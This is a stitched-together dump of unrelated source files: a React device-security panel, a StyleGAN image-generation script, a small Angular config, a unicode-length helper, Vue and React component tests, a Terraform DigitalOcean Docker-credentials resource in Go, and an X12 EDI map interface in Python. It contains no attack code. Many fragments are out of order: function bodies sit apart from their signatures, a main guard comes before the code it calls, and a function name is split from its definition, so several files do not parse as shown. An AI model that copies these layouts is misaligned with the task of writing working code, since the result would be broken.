extends Component { constructor (props) { super(props) this.state = { showInfo: false } this.toggleInfo = this.toggleInfo.bind(this) } actions (actions, type) { return actions.map((a) => <Action key={a.title} type={type} action={a} /> ) } process (device) { let d = Object.assign({}, device) d.friendlyName = d.model || d.manufacturer || 'Unknown device' d.identifier = d.name || d.identifiers.serial || (d.identifiers.mac_addresses || []).join(' ') return d } toggleInfo () { this.setState({ showInfo: !this.state.showInfo }) } render () { if (!this.props.device) return null const device = this.process(this.props.device) let deviceInfo = null let possibleMatch = null let unknownDevice = null let noModel = null if (this.state.showInfo) { deviceInfo = ( <div className='deviceInfo'> <dl className='device-info'> <dt>Type</dt><dd>{device.type}&nbsp;</dd> <dt>Manufacturer</dt><dd>{device.manufacturer}&nbsp;</dd> <dt>Model</dt><dd>{device.model}&nbsp;</dd> <dt>Platform</dt><dd>{device.platform}&nbsp;</dd> <dt>OS Version</dt><dd>{device.os_version}&nbsp;</dd> <dt>Name</dt><dd>{device.name}&nbsp;</dd> <dt>MAC addresses</dt> <dd> <ul className='mac-addresses'> { device.identifiers.mac_addresses && device.identifiers.mac_addresses.map((mac, i) => <li key={i}>{mac}</li> ) } </ul> </dd> <dt>Serial</dt><dd>{device.identifiers.serial}&nbsp;</dd> <dt>UDID</dt><dd>{device.identifiers.udid}&nbsp;</dd> <dt>Status</dt><dd>{device.status}&nbsp;</dd> </dl> </div> ) } if (device.possibleMatch) { possibleMatch = <div className='possible-match'>This may be the same device as {device.possibleMatch.model} ({device.possibleMatch.identifiers.serial})</div> } if (device.unknownDevice) { const sources = device.sources.map((d) => Config.sourceLabels[d] || d) unknownDevice = <div> {possibleMatch} <p className='unknown-device-warning'> No information is available about the security state of this device. </p> <p className='unknown-device-warning'> It was detected via {sources.join(', ')}. </p> <p className='unknown-device-warning'> If you are concerned about this, you can check your Google-connected devices and disable any you are no longer using. </p> <a href='https://security.google.com/settings/security/activity' target='_blank'>Review devices</a> </div> } if (!device.model) { let mailLink = '?Subject=Unknown device' if (device.identifiers && device.identifiers.mac_addresses) mailLink += ` ${device.identifiers.mac_addresses.join(' ')}` noModel = ( <div> <p className='unknown-device-warning'> This device was seen on the {Config.orgName} network, logged in with your credentials, on {longFormatTime(device.last_sync)}. </p> <p className='unknown-device-warning'> If this seems suspicious to you, please email <a href={`mailto:${Config.contactEmail}${mailLink}`}>{Config.contactEmail}</a>. </p> </div> ) } return ( <div className='device-wrapper'> <div className={`panel device ${device.deviceRating}`}> <header> <div className='device-name'>{device.friendlyName}</div> <div className='device-identifier'>{device.identifier}&nbsp;</div> <Accessible expanded={this.state.showInfo} label={`Toggle and review ${device.deviceRating} device information for ${device.friendlyName}`}> <a className={`device-info-toggle ${this.state.showInfo ? 'open' : 'closed'}`} onClick={this.toggleInfo}>&#9660;</a> </Accessible> </header> {deviceInfo} <div className='action-list'> <ul> { this.actions(device.critical, 'critical') } { this.actions(device.suggested, 'suggested') } { this.actions(device.done, 'done') } </ul> </div> {unknownDevice} {noModel} <div className='last-updated'>Last updated {formatTime(device.last_sync)}</div> </div> </div> ) } } export default Device
Device
pretrained_example.py
# Copyright (c) 2019, NVIDIA CORPORATION. All rights reserved. # # This work is licensed under the Creative Commons Attribution-NonCommercial # 4.0 International License. To view a copy of this license, visit # http://creativecommons.org/licenses/by-nc/4.0/ or send a letter to # Creative Commons, PO Box 1866, Mountain View, CA 94042, USA. """Minimal script for generating an image using pre-trained StyleGAN generator.""" import os import pickle import numpy as np import PIL.Image import dnnlib import dnnlib.tflib as tflib import config def main(): # Initialize TensorFlow.
if __name__ == "__main__": main()
tflib.init_tf() # Load pre-trained network. url = 'https://drive.google.com/uc?id=1MEGjdvVpUsu1jB4zrXZN7Y4kBBOzizDQ' # karras2019stylegan-ffhq-1024x1024.pkl with dnnlib.util.open_url(url, cache_dir=config.cache_dir) as f: _G, _D, Gs = pickle.load(f) # _G = Instantaneous snapshot of the generator. Mainly useful for resuming a previous training run. # _D = Instantaneous snapshot of the discriminator. Mainly useful for resuming a previous training run. # Gs = Long-term average of the generator. Yields higher-quality results than the instantaneous snapshot. # Print network details. Gs.print_layers() # Pick latent vector. rnd = np.random.RandomState(5) latents = rnd.randn(1, Gs.input_shape[1]) # Generate image. fmt = dict(func=tflib.convert_images_to_uint8, nchw_to_nhwc=True) images = Gs.run(latents, None, truncation_psi=0.7, randomize_noise=True, output_transform=fmt) # Save image. os.makedirs(config.result_dir, exist_ok=True) png_filename = os.path.join(config.result_dir, 'example.png') PIL.Image.fromarray(images[0], 'RGB').save(png_filename)
app.config.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true });
function AppConfig() { this.apiUrl = 'https://teama-webapi.azurewebsites.net'; } return AppConfig; }()); exports.AppConfig = AppConfig; ; //# sourceMappingURL=app.config.js.map
var AppConfig = /** @class */ (function () {
unicodeSize.js
/** Used to compose unicode character classes. */ const rsAstralRange = "\\ud800-\\udfff"; const rsComboMarksRange = "\\u0300-\\u036f"; const reComboHalfMarksRange = "\\ufe20-\\ufe2f"; const rsComboSymbolsRange = "\\u20d0-\\u20ff"; const rsComboMarksExtendedRange = "\\u1ab0-\\u1aff"; const rsComboMarksSupplementRange = "\\u1dc0-\\u1dff"; const rsComboRange = rsComboMarksRange + reComboHalfMarksRange + rsComboSymbolsRange + rsComboMarksExtendedRange + rsComboMarksSupplementRange; const rsVarRange = "\\ufe0e\\ufe0f"; /** Used to compose unicode capture groups. */ const rsAstral = `[${rsAstralRange}]`; const rsCombo = `[${rsComboRange}]`; const rsFitz = "\\ud83c[\\udffb-\\udfff]"; const rsModifier = `(?:${rsCombo}|${rsFitz})`; const rsNonAstral = `[^${rsAstralRange}]`; const rsRegional = "(?:\\ud83c[\\udde6-\\uddff]){2}"; const rsSurrPair = "[\\ud800-\\udbff][\\udc00-\\udfff]"; const rsZWJ = "\\u200d"; /** Used to compose unicode regexes. */ const reOptMod = `${rsModifier}?`; const rsOptVar = `[${rsVarRange}]?`; const rsOptJoin = `(?:${rsZWJ}(?:${[rsNonAstral, rsRegional, rsSurrPair].join( "|" )})${rsOptVar + reOptMod})*`; const rsSeq = rsOptVar + reOptMod + rsOptJoin; const rsNonAstralCombo = `${rsNonAstral}${rsCombo}?`; const rsSymbol = `(?:${[ rsNonAstralCombo, rsCombo, rsRegional, rsSurrPair, rsAstral, ].join("|")})`; /** Used to match [string symbols](https://mathiasbynens.be/notes/javascript-unicode). */ const reUnicode = RegExp(`${rsFitz}(?=${rsFitz})|${rsSymbol + rsSeq}`, "g"); /** * Gets the size of a Unicode `string`.
* @param {string} string The string inspect. * @returns {number} Returns the string size. */ function unicodeSize(string) { let result = (reUnicode.lastIndex = 0); while (reUnicode.test(string)) { ++result; } return result; } export default unicodeSize;
* * @private
condition-type.spec.js
/* global adminPath */ import { shallowMount } from '@vue/test-utils'; import 'src/app/component/rule/sw-condition-base'; import ConditionDataProviderService from 'src/app/service/rule-condition.service'; import fs from 'fs'; // eslint-disable-next-line import path from 'path'; const conditionTypesRootPath = 'src/app/component/rule/condition-type/'; const conditionTypes = fs.readdirSync(path.join(adminPath, conditionTypesRootPath)); function importAllConditionTypes() { return Promise.all(conditionTypes.map(conditionType => { return import(path.join(adminPath, conditionTypesRootPath, conditionType)); })); } function createWrapperForComponent(componentName, props = {}) { return shallowMount(Shopware.Component.build(componentName), { stubs: { 'sw-field-error': { template: '<div class="sw-field-error"></div>' }, 'sw-context-menu-item': { template: '<div class="sw-context-menu-item"></div>' }, 'sw-context-button': { template: '<div class="sw-context-button"></div>' }, 'sw-number-field': { template: '<div class="sw-number-field"></div>' }, 'sw-condition-type-select': { template: '<div class="sw-condition-type-select"></div>' }, 'sw-condition-operator-select': { template: '<div class="sw-condition-operator-select"></div>' }, 'sw-condition-is-net-select': { template: '<div class="sw-condition-is-net-select"></div>' }, 'sw-entity-multi-select': { template: '<div class="sw-entity-multi-select"></div>' }, 'sw-entity-single-select': { template: '<div class="sw-entity-single-select"></div>' }, 'sw-text-field': { template: '<div class="sw-text-field"></div>' }, 'sw-tagged-field': { template: '<div class="sw-tagged-field"></div>' }, 'sw-single-select': { template: '<div class="sw-single-select"></div>' }, 'sw-entity-tag-select': { template: '<div class="sw-entity-tag-select"></div>' }, 'sw-arrow-field': { template: '<div class="sw-arrow-field"></div>' }, 'sw-datepicker': { template: '<div class="sw-datepicker"></div>' }, 'sw-button': { template: '<div class="sw-button"></div>' }, 'sw-icon': { template: '<div class="sw-icon"></div>' }, 'sw-textarea-field': { template: '<div class="sw-textarea-field"></div>' } }, provide: { conditionDataProviderService: new ConditionDataProviderService(), availableTypes: [], childAssociationField: {}, repositoryFactory: { create: () => ({}) } }, propsData: { condition: {}, ...props } }); } function eachField(fieldTypes, callbackFunction) { fieldTypes.forEach(fieldType => fieldType.wrappers.forEach(field => { callbackFunction(field); })); } function
(wrapper) { return [ wrapper.findAll('.sw-context-menu-item'), wrapper.findAll('.sw-context-button'), wrapper.findAll('.sw-number-field'), wrapper.findAll('.sw-condition-type-select'), wrapper.findAll('.sw-condition-operator-select'), wrapper.findAll('.sw-entity-multi-select'), wrapper.findAll('.sw-entity-single-select'), wrapper.findAll('.sw-text-field'), wrapper.findAll('.sw-tagged-field'), wrapper.findAll('.sw-single-select'), wrapper.findAll('.sw-entity-tag-select'), wrapper.findAll('.sw-arrow-field'), wrapper.findAll('.sw-datepicker'), wrapper.findAll('.sw-button'), wrapper.findAll('.sw-textarea-field') ]; } describe('src/app/component/rule/condition-type/*.js', () => { beforeAll(() => { return importAllConditionTypes(); }); it.each(conditionTypes)('The component "%s" should be a mounted successfully', (conditionType) => { const wrapper = createWrapperForComponent(conditionType); expect(wrapper.vm).toBeTruthy(); }); it.each(conditionTypes)('The component "%s" should have all fields enabled', (conditionType) => { const wrapper = createWrapperForComponent(conditionType); eachField(getAllFields(wrapper), (field) => { // Handle edge case if (conditionType === 'sw-condition-not-found' && field.classes().includes('sw-textarea-field')) { return; } expect(field.attributes().disabled).toBeUndefined(); }); }); it.each(conditionTypes)('The component "%s" should have all fields disabled', (conditionType) => { const wrapper = createWrapperForComponent(conditionType, { disabled: true }); eachField(getAllFields(wrapper), (field) => { expect(field.attributes().disabled).toBeDefined(); }); }); });
getAllFields
SelectFilter.test.tsx
import { render, screen, waitFor } from '@testing-library/react'; import userEvent from '@testing-library/user-event'; import { Select } from 'antd'; import React from 'react'; import { generateAlphaNumeric } from 'utils/string'; import SelectFilter from './SelectFilter'; const { Option } = Select; const LABEL = generateAlphaNumeric(); const PLACEHOLDER = generateAlphaNumeric(); const NUM_OPTIONS = 5; const OPTION_TITLE = 'option'; const setup = () => { const handleOpen = jest.fn(); const view = render( <SelectFilter label={LABEL} placeholder={PLACEHOLDER} onDropdownVisibleChange={handleOpen}> {new Array(NUM_OPTIONS).fill(null).map((v, index) => ( <Option key={index} title={OPTION_TITLE} value={String.fromCharCode(65 + index)}> {'Option ' + String.fromCharCode(65 + index)} </Option> ))} </SelectFilter>, ); return { handleOpen, view }; }; describe('SelectFilter', () => { it('displays label and placeholder', async () => { setup();
}); }); it('opens select list', async () => { const { handleOpen } = setup(); expect(handleOpen).not.toHaveBeenCalled(); userEvent.click(screen.getByText(PLACEHOLDER)); expect(handleOpen).toHaveBeenCalled(); await waitFor(() => { expect(screen.queryAllByTitle(OPTION_TITLE)).toHaveLength(NUM_OPTIONS); }); }); it('selects option', async () => { const { handleOpen } = setup(); userEvent.click(screen.getByText(PLACEHOLDER)); expect(handleOpen).toHaveBeenCalled(); const list = screen.getAllByTitle(OPTION_TITLE); const firstOption = list[0].textContent ?? ''; /** * With Ant Design v4 the select dropdown box container has an issue of having the style * set as "opacity: 0; pointer-events: none;" which prevents the default `userEvent.click()` * from working, because it checks for pointer-events. * https://github.com/ant-design/ant-design/issues/23009#issuecomment-929766415 */ userEvent.click(list[0], undefined, { skipPointerEventsCheck: true }); await waitFor(() => { expect(document.querySelector('.ant-select-selection-item')?.textContent).toBe(firstOption); }); }); it('searches', async () => { const { handleOpen } = setup(); userEvent.click(screen.getByText(PLACEHOLDER)); expect(handleOpen).toHaveBeenCalled(); const firstOption = screen.getAllByTitle(OPTION_TITLE)[0].textContent ?? ''; userEvent.type(screen.getByRole('combobox'), firstOption); await waitFor(() => { expect(screen.queryAllByTitle(OPTION_TITLE)).toHaveLength(1); expect(screen.queryByTitle(OPTION_TITLE)?.textContent).toBe(firstOption); }); }); });
await waitFor(() => { expect(screen.queryByText(LABEL)).toBeInTheDocument(); expect(screen.queryByText(PLACEHOLDER)).toBeInTheDocument();
13-raster-processing42.py
green.head()
green = geopandas.read_file("data/gent/vector/parken-gent.geojson")
resource_digitalocean_container_registry_docker_credentials.go
package digitalocean import ( "context" "fmt" "time" "github.com/digitalocean/godo" "github.com/hashicorp/terraform-plugin-sdk/helper/schema" "github.com/hashicorp/terraform-plugin-sdk/helper/validation" ) const expirySecondsDefault = 2147483647 // Max value of signed 32 bit integer func resourceDigitalOceanContainerRegistryDockerCredentials() *schema.Resource { return &schema.Resource{ Create: resourceDigitalOceanContainerRegistryDockerCredentialsCreate, Read: resourceDigitalOceanContainerRegistryDockerCredentialsRead, Update: resourceDigitalOceanContainerRegistryDockerCredentialsUpdate, Delete: resourceDigitalOceanContainerRegistryDockerCredentialsDelete, Importer: &schema.ResourceImporter{ State: schema.ImportStatePassthrough, }, Schema: map[string]*schema.Schema{ "registry_name": { Type: schema.TypeString, Required: true, ForceNew: true, ValidateFunc: validation.NoZeroValues, }, "write": { Type: schema.TypeBool, Optional: true, Default: false, }, "expiry_seconds": { Type: schema.TypeInt, Optional: true, Default: expirySecondsDefault, // Relatively close to max value of Duration }, "docker_credentials": { Type: schema.TypeString, Computed: true, Sensitive: true, }, "credential_expiration_time": { Type: schema.TypeString, Computed: true, }, }, } } func resourceDigitalOceanContainerRegistryDockerCredentialsCreate(d *schema.ResourceData, meta interface{}) error { return resourceDigitalOceanContainerRegistryDockerCredentialsRead(d, meta) } func resourceDigitalOceanContainerRegistryDockerCredentialsRead(d *schema.ResourceData, meta interface{}) error { client := meta.(*CombinedConfig).godoClient() reg, response, err := client.Registry.Get(context.Background()) if err != nil { if response != nil && response.StatusCode == 404 { return fmt.Errorf("registry not found: %s", err) } return fmt.Errorf("Error retrieving registry: %s", err) } write := d.Get("write").(bool) d.SetId(reg.Name) d.Set("registry_name", reg.Name) d.Set("write", write) updateExpiredDockerCredentials(d, write, client) return nil } func resourceDigitalOceanContainerRegistryDockerCredentialsUpdate(d *schema.ResourceData, meta interface{}) error { if d.HasChange("expiry_seconds") { write := d.Get("write").(bool) expirySeconds := d.Get("expiry_seconds").(int) client := meta.(*CombinedConfig).godoClient() currentTime := time.Now().UTC() expirationTime := currentTime.Add(time.Second * time.Duration(expirySeconds)) d.Set("credential_expiration_time", expirationTime.Format(time.RFC3339)) dockerConfigJSON, err := generateDockerCredentials(write, expirySeconds, client) if err != nil { return err } d.Set("write", write) d.Set("docker_credentials", dockerConfigJSON) } else { if d.HasChange("write") { write := d.Get("write").(bool) expirySeconds := d.Get("expiry_seconds").(int) client := meta.(*CombinedConfig).godoClient() dockerConfigJSON, err := generateDockerCredentials(write, expirySeconds, client) if err != nil { return err } d.Set("write", write) d.Set("docker_credentials", dockerConfigJSON) } } return nil } func resourceDigitalOceanContainerRegistryDockerCredentialsDelete(d *schema.ResourceData, meta interface{}) error { d.SetId("") return nil } func generateDockerCredentials(readWrite bool, expirySeconds int, client *godo.Client) (string, error)
func updateExpiredDockerCredentials(d *schema.ResourceData, readWrite bool, client *godo.Client) error { expirySeconds := d.Get("expiry_seconds").(int) expirationTime := d.Get("credential_expiration_time").(string) if (expirySeconds > expirySecondsDefault) || (expirySeconds <= 0) { return fmt.Errorf("expiry_seconds outside acceptable range") } d.Set("expiry_seconds", expirySeconds) currentTime := time.Now().UTC() if expirationTime != "" { expirationTime, err := time.Parse(time.RFC3339, expirationTime) if err != nil { return err } if expirationTime.Before(currentTime) { dockerConfigJSON, err := generateDockerCredentials(readWrite, expirySeconds, client) if err != nil { return err } d.Set("docker_credentials", dockerConfigJSON) expirationTime := currentTime.Add(time.Second * time.Duration(expirySeconds)) d.Set("credential_expiration_time", expirationTime.Format(time.RFC3339)) } } else { expirationTime := currentTime.Add(time.Second * time.Duration(expirySeconds)) d.Set("credential_expiration_time", expirationTime.Format(time.RFC3339)) dockerConfigJSON, err := generateDockerCredentials(readWrite, expirySeconds, client) if err != nil { return err } d.Set("docker_credentials", dockerConfigJSON) } return nil }
{ dockerCreds, response, err := client.Registry.DockerCredentials(context.Background(), &godo.RegistryDockerCredentialsRequest{ReadWrite: readWrite, ExpirySeconds: &expirySeconds}) if err != nil { if response != nil && response.StatusCode == 404 { return "", fmt.Errorf("docker credentials not found: %s", err) } return "", fmt.Errorf("Error retrieving docker credentials: %s", err) } dockerConfigJSON := string(dockerCreds.DockerConfigJSON) return dockerConfigJSON, nil }
map_if.py
###################################################################### # Copyright (c) # All rights reserved. # # This software is licensed as described in the file LICENSE.txt, which # you should have received as part of this distribution. # ###################################################################### """ Interface to a X12N IG Map """ import logging import os.path import sys import re import xml.etree.cElementTree as et from pkg_resources import resource_stream # Intrapackage imports from .errors import EngineError from . import codes from . import dataele from . import path from . import validation from .syntax import is_syntax_valid MAXINT = 2147483647 class x12_node(object): """ X12 Node Superclass """ def __init__(self): self.id = None self.name = None self.parent = None self.children = [] self.path = '' self._x12path = None self._fullpath = None def __eq__(self, other): if isinstance(other, x12_node): return self.id == other.id and self.parent.id == other.parent.id return NotImplemented def __ne__(self, other): res = type(self).__eq__(self, other) if res is NotImplemented: return res return not res def __lt__(self, other): return NotImplemented __le__ = __lt__ __le__ = __lt__ __gt__ = __lt__ __ge__ = __lt__ def __hash__(self): return (self.id + self.parent.id).__hash__() def __len__(self): return len(self.children) def __repr__(self): """ @rtype: string """ return self.name def getnodebypath(self, path): """ """ pathl = path.split('/') if len(pathl) == 0: return None for child in self.children: if child.id.lower() == pathl[0].lower(): if len(pathl) == 1: return child else: if child.is_loop(): return child.getnodebypath('/'.join(pathl[1:])) else: break raise EngineError('getnodebypath failed. Path "%s" not found' % path) def get_child_count(self): return len(self.children) def get_child_node_by_idx(self, idx): """ @param idx: zero based """ if idx >= len(self.children): return None else: return self.children[idx] def get_child_node_by_ordinal(self, ordinal): """ Get a child element or composite by the X12 ordinal @param ord: one based element/composite index. Corresponds to the map <seq> element @type ord: int """ return self.get_child_node_by_idx(ordinal - 1) def get_path(self): """ @return: path - XPath style @rtype: string """ if self._fullpath: return self._fullpath parent_path = self.parent.get_path() if parent_path == '/': self._fullpath = '/' + self.path return self._fullpath else: self._fullpath = parent_path + '/' + self.path return self._fullpath def _get_x12_path(self): """ @return: X12 node path @rtype: L{path<path.X12Path>} """ if self._x12path: return self._x12path p = path.X12Path(self.get_path()) self._x12path = p return p x12path = property(_get_x12_path, None, None) def is_first_seg_in_loop(self): """ @rtype: boolean """ return False def is_map_root(self): """ @rtype: boolean """ return False def is_loop(self): """ @rtype: boolean """ return False def is_segment(self): """ @rtype: boolean """ return False def is_element(self): """ @rtype: boolean """ return False def is_composite(self): """ @rtype: boolean """ return False ############################################################ # Map file interface ############################################################ class map_if(x12_node): """ Map file interface """ def __init__(self, eroot, param, base_path=None): """ @param eroot: ElementTree root @param param: map of parameters """ x12_node.__init__(self) self.children = None self.pos_map = {} self.cur_path = '/transaction' self.path = '/' #self.cur_iter_node = self self.param = param #global codes self.ext_codes = codes.ExternalCodes(base_path, param.get('exclude_external_codes')) self.data_elements = dataele.DataElements(base_path) self.id = eroot.get('xid') self.name = eroot.get('name') if eroot.get('name') else eroot.findtext('name') self.base_name = 'transaction' for e in eroot.findall('loop'): loop_node = loop_if(self, self, e) #if loop_node.pos in self.pos_map: # if self.pos_map[loop_node.pos][0].id != loop_node.id: # raise EngineError('Invalid pos {} for path {}'.format(loop_node.pos, loop_node.x12path)) #if len(self.pos_map) > 0 and loop_node.pos < max(self.pos_map.keys()): # raise EngineError('Loop position should only increment. Is not for path {}'.format(loop_node.x12path)) try: self.pos_map[loop_node.pos].append(loop_node) except KeyError: self.pos_map[loop_node.pos] = [loop_node] for e in eroot.findall('segment'): seg_node = segment_if(self, self, e) #if seg_node.pos in self.pos_map: # if self.pos_map[seg_node.pos][0].id != seg_node.id: # raise EngineError('Invalid pos {} for path {}'.format(seg_node.pos, seg_node.x12path)) #if len(self.pos_map) > 0 and seg_node.pos < max(self.pos_map.keys()): # raise EngineError('Segment position should only increment. Is not for path {}'.format(seg_node.x12path)) try: self.pos_map[seg_node.pos].append(seg_node) except KeyError: self.pos_map[seg_node.pos] = [seg_node] self.icvn = self._get_icvn() def _get_icvn(self): """ Get the Interchange version of this map Map must have a first ISA segment ISA12 """ ipath = '/ISA_LOOP/ISA' try: node = self.getnodebypath(ipath).children[11] icvn = node.valid_codes[0] return icvn except Exception: return None def debug_print(self): sys.stdout.write(self.__repr__()) for ord1 in sorted(self.pos_map): for node in self.pos_map[ord1]: node.debug_print() def __eq__(self, other): return self.id == other.id def __hash__(self): return (self.id).__hash__() def __len__(self): i = 0 for ord1 in sorted(self.pos_map): i += len(self.pos_map[ord1]) return i def get_child_count(self): return self.__len__() def get_first_node(self): pos_keys = sorted(self.pos_map) if len(pos_keys) > 0: return self.pos_map[pos_keys[0]][0] else: return None def get_first_seg(self): first = self.get_first_node() if first.is_segment(): return first else: return None def __repr__(self): """ @rtype: string """ return '%s\n' % (self.id) def _path_parent(self): """ @rtype: string """ return os.path.basename(os.path.dirname(self.cur_path)) def get_path(self): """ @rtype: string """ return self.path def get_child_node_by_idx(self, idx): """ @param idx: zero based """ raise EngineError('map_if.get_child_node_by_idx is not a valid call') def getnodebypath(self, spath): """ @param spath: Path string; /1000/2000/2000A/NM102-3 @type spath: string """ pathl = spath.split('/')[1:] if len(pathl) == 0: return None #logger.debug('%s %s %s' % (self.base_name, self.id, pathl[1])) for ord1 in sorted(self.pos_map): for child in self.pos_map[ord1]: if child.id.lower() == pathl[0].lower(): if len(pathl) == 1: return child else: return child.getnodebypath('/'.join(pathl[1:])) raise EngineError('getnodebypath failed. Path "%s" not found' % spath) def getnodebypath2(self, path_str): """ @param path: Path string; /1000/2000/2000A/NM102-3 @type path: string """ x12path = path.X12Path(path_str) if x12path.empty(): return None for ord1 in sorted(self.pos_map): for child in self.pos_map[ord1]: if child.id.upper() == x12path.loop_list[0]: if len(x12path.loop_list) == 1: return child else: del x12path.loop_list[0] return child.getnodebypath2(x12path.format()) raise EngineError( 'getnodebypath2 failed. Path "%s" not found' % path_str) def is_map_root(self): """ @rtype: boolean """ return True def reset_child_count(self): """ Set cur_count of child nodes to zero """ raise DeprecationWarning('Moved to nodeCounter') for ord1 in sorted(self.pos_map): for child in self.pos_map[ord1]: child.reset_cur_count() def reset_cur_count(self): """ Set cur_count of child nodes to zero """ raise DeprecationWarning('Moved to nodeCounter') self.reset_child_count() def __iter__(self): return self def loop_segment_iterator(self): yield self for ord1 in sorted(self.pos_map): for child in self.pos_map[ord1]: if child.is_loop() or child.is_segment(): for c in child.loop_segment_iterator(): yield c ############################################################ # Loop Interface ############################################################ class loop_if(x12_node): """ Loop Interface """ def __init__(self, root, parent, elem): """ """ x12_node.__init__(self) self.root = root self.parent = parent self.pos_map = {} #self.path = '' self.base_name = 'loop' #self.type = 'implicit' self._cur_count = 0 self.id = elem.get('xid') self.path = self.id self.type = elem.get('type') self.name = elem.get( 'name') if elem.get('name') else elem.findtext('name') self.usage = elem.get( 'usage') if elem.get('usage') else elem.findtext('usage') self.pos = int(elem.get( 'pos')) if elem.get('pos') else int(elem.findtext('pos')) self.repeat = elem.get('repeat') if elem.get( 'repeat') else elem.findtext('repeat') for e in elem.findall('loop'): loop_node = loop_if(self.root, self, e) #if loop_node.pos in self.pos_map: # if self.pos_map[loop_node.pos][0].id != loop_node.id: # raise EngineError('Invalid pos {} for path {}'.format(loop_node.pos, loop_node.x12path)) #if len(self.pos_map) > 0 and loop_node.pos < max(self.pos_map.keys()): # raise EngineError('Loop position should only increment. Is not for path {}'.format(loop_node.pos, loop_node.x12path)) #if self.pos_map: # assert loop_node.pos >= max(self.pos_map.keys()), 'Bad ordinal %s' % (loop_node) try: self.pos_map[loop_node.pos].append(loop_node) except KeyError: self.pos_map[loop_node.pos] = [loop_node] for e in elem.findall('segment'): seg_node = segment_if(self.root, self, e) #if seg_node.pos in self.pos_map: # if self.pos_map[seg_node.pos][0].id != seg_node.id: # raise EngineError('Invalid pos {} for path {}'.format(seg_node.pos, seg_node.x12path)) #if len(self.pos_map) > 0 and seg_node.pos < max(self.pos_map.keys()): # raise EngineError('Loop position should only increment. Is not for path {}'.format(seg_node.pos, seg_node.x12path)) #if self.pos_map: # assert seg_node.pos >= max(self.pos_map.keys()), 'Bad ordinal %s' % (seg_node) try: self.pos_map[seg_node.pos].append(seg_node) except KeyError: self.pos_map[seg_node.pos] = [seg_node] # For the segments with duplicate ordinals, adjust the path to be unique for ord1 in sorted(self.pos_map): if len(self.pos_map[ord1]) > 1: for seg_node in [n for n in self.pos_map[ord1] if n.is_segment()]: id_elem = seg_node.guess_unique_key_id_element() if id_elem is not None: seg_node.path = seg_node.path + '[' + id_elem.valid_codes[0] + ']' def debug_print(self): sys.stdout.write(self.__repr__()) for ord1 in sorted(self.pos_map): for node in self.pos_map[ord1]: node.debug_print() def __len__(self): i = 0 for ord1 in sorted(self.pos_map): i += len(self.pos_map[ord1]) return i def __repr__(self): """ @rtype: string """ out = '' if self.id: out += 'LOOP %s' % (self.id) if self.name: out += ' "%s"' % (self.name) if self.usage: out += ' usage: %s' % (self.usage) if self.pos: out += ' pos: %s' % (self.pos) if self.repeat: out += ' repeat: %s' % (self.repeat) out += '\n' return out def get_max_repeat(self): if self.repeat is None: return MAXINT if self.repeat == '&gt;1' or self.repeat == '>1': return MAXINT return int(self.repeat) def get_parent(self): return self.parent def get_first_node(self): pos_keys = sorted(self.pos_map) if len(pos_keys) > 0: return self.pos_map[pos_keys[0]][0] else: return None def get_first_seg(self): first = self.get_first_node() if first.is_segment(): return first else: return None def childIterator(self): for ord1 in sorted(self.pos_map): for child in self.pos_map[ord1]: yield child def getnodebypath(self, spath): """ @param spath: remaining path to match @type spath: string @return: matching node, or None is no match """ pathl = spath.split('/') if len(pathl) == 0: return None for ord1 in sorted(self.pos_map): for child in self.pos_map[ord1]: if child.is_loop(): if child.id.upper() == pathl[0].upper(): if len(pathl) == 1: return child else: return child.getnodebypath('/'.join(pathl[1:])) elif child.is_segment() and len(pathl) == 1: if pathl[0].find('[') == -1: # No id to match if pathl[0] == child.id: return child else: seg_id = pathl[0][0:pathl[0].find('[')] id_val = pathl[0][pathl[0].find('[') + 1:pathl[0].find(']')] if seg_id == child.id: possible = child.get_unique_key_id_element(id_val) if possible is not None: return child raise EngineError('getnodebypath failed. Path "%s" not found' % spath) def getnodebypath2(self, path_str): """ Try x12 path @param path_str: remaining path to match @type path_str: string @return: matching node, or None is no match """ x12path = path.X12Path(path_str) if x12path.empty(): return None for ord1 in sorted(self.pos_map): for child in self.pos_map[ord1]: if child.is_loop() and len(x12path.loop_list) > 0: if child.id.upper() == x12path.loop_list[0].upper(): if len(x12path.loop_list) == 1 and x12path.seg_id is None: return child else: del x12path.loop_list[0] return child.getnodebypath2(x12path.format()) elif child.is_segment() and len(x12path.loop_list) == 0 and x12path.seg_id is not None: if x12path.id_val is None: if x12path.seg_id == child.id: return child.getnodebypath2(x12path.format()) else: seg_id = x12path.seg_id id_val = x12path.id_val if seg_id == child.id: possible = child.get_unique_key_id_element(id_val) if possible is not None: return child.getnodebypath2(x12path.format()) raise EngineError( 'getnodebypath2 failed. Path "%s" not found' % path_str) def get_child_count(self): return self.__len__() def get_child_node_by_idx(self, idx): """ @param idx: zero based """ raise EngineError('loop_if.get_child_node_by_idx is not a valid call for a loop_if') def get_seg_count(self): """ @return: Number of child segments @rtype: integer """ i = 0 for ord1 in sorted(self.pos_map): for child in self.pos_map[ord1]: if child.is_segment(): i += 1 return i def is_loop(self): """ @rtype: boolean """ return True def is_match(self, seg_data): """ @type seg_data: L{segment<segment.Segment>} @return: Is the segment a match to this loop? @rtype: boolean """ pos_keys = sorted(self.pos_map) child = self.pos_map[pos_keys[0]][0] if child.is_loop(): return child.is_match(seg_data) elif child.is_segment(): if child.is_match(seg_data): return True else: return False # seg does not match the first segment in loop, so not valid else: return False def get_child_seg_node(self, seg_data): """ Return the child segment matching the segment data """ for child in self.childIterator(): if child.is_segment() and child.is_match(seg_data): return child return None def get_child_loop_node(self, seg_data): """ Return the child segment matching the segment data """ for child in self.childIterator(): if child.is_loop() and child.is_match(seg_data): return child return None def get_cur_count(self): """ @return: current count @rtype: int """ raise DeprecationWarning('Moved to nodeCounter') return self._cur_count def incr_cur_count(self): raise DeprecationWarning('Moved to nodeCounter') self._cur_count += 1 def reset_child_count(self): """ Set cur_count of child nodes to zero """ raise DeprecationWarning('Moved to nodeCounter') for ord1 in sorted(self.pos_map): for child in self.pos_map[ord1]: child.reset_cur_count() def reset_cur_count(self): """ Set cur_count of node and child nodes to zero """ raise DeprecationWarning('Moved to nodeCounter') self._cur_count = 0 self.reset_child_count() def set_cur_count(self, ct): raise DeprecationWarning('Moved to nodeCounter') self._cur_count = ct def get_counts_list(self, ct_list): """ Build a list of (path, ct) of the current node and parents Gets the node counts to apply to another map @param ct_list: List to append to @type ct_list: list[(string, int)] """ raise DeprecationWarning('Moved to nodeCounter') my_ct = (self.get_path(), self._cur_count) ct_list.append(my_ct) if not self.parent.is_map_root(): self.parent.get_counts_list(ct_list) return True def loop_segment_iterator(self): yield self for ord1 in sorted(self.pos_map): for child in self.pos_map[ord1]: if child.is_loop() or child.is_segment(): for c in child.loop_segment_iterator(): yield c 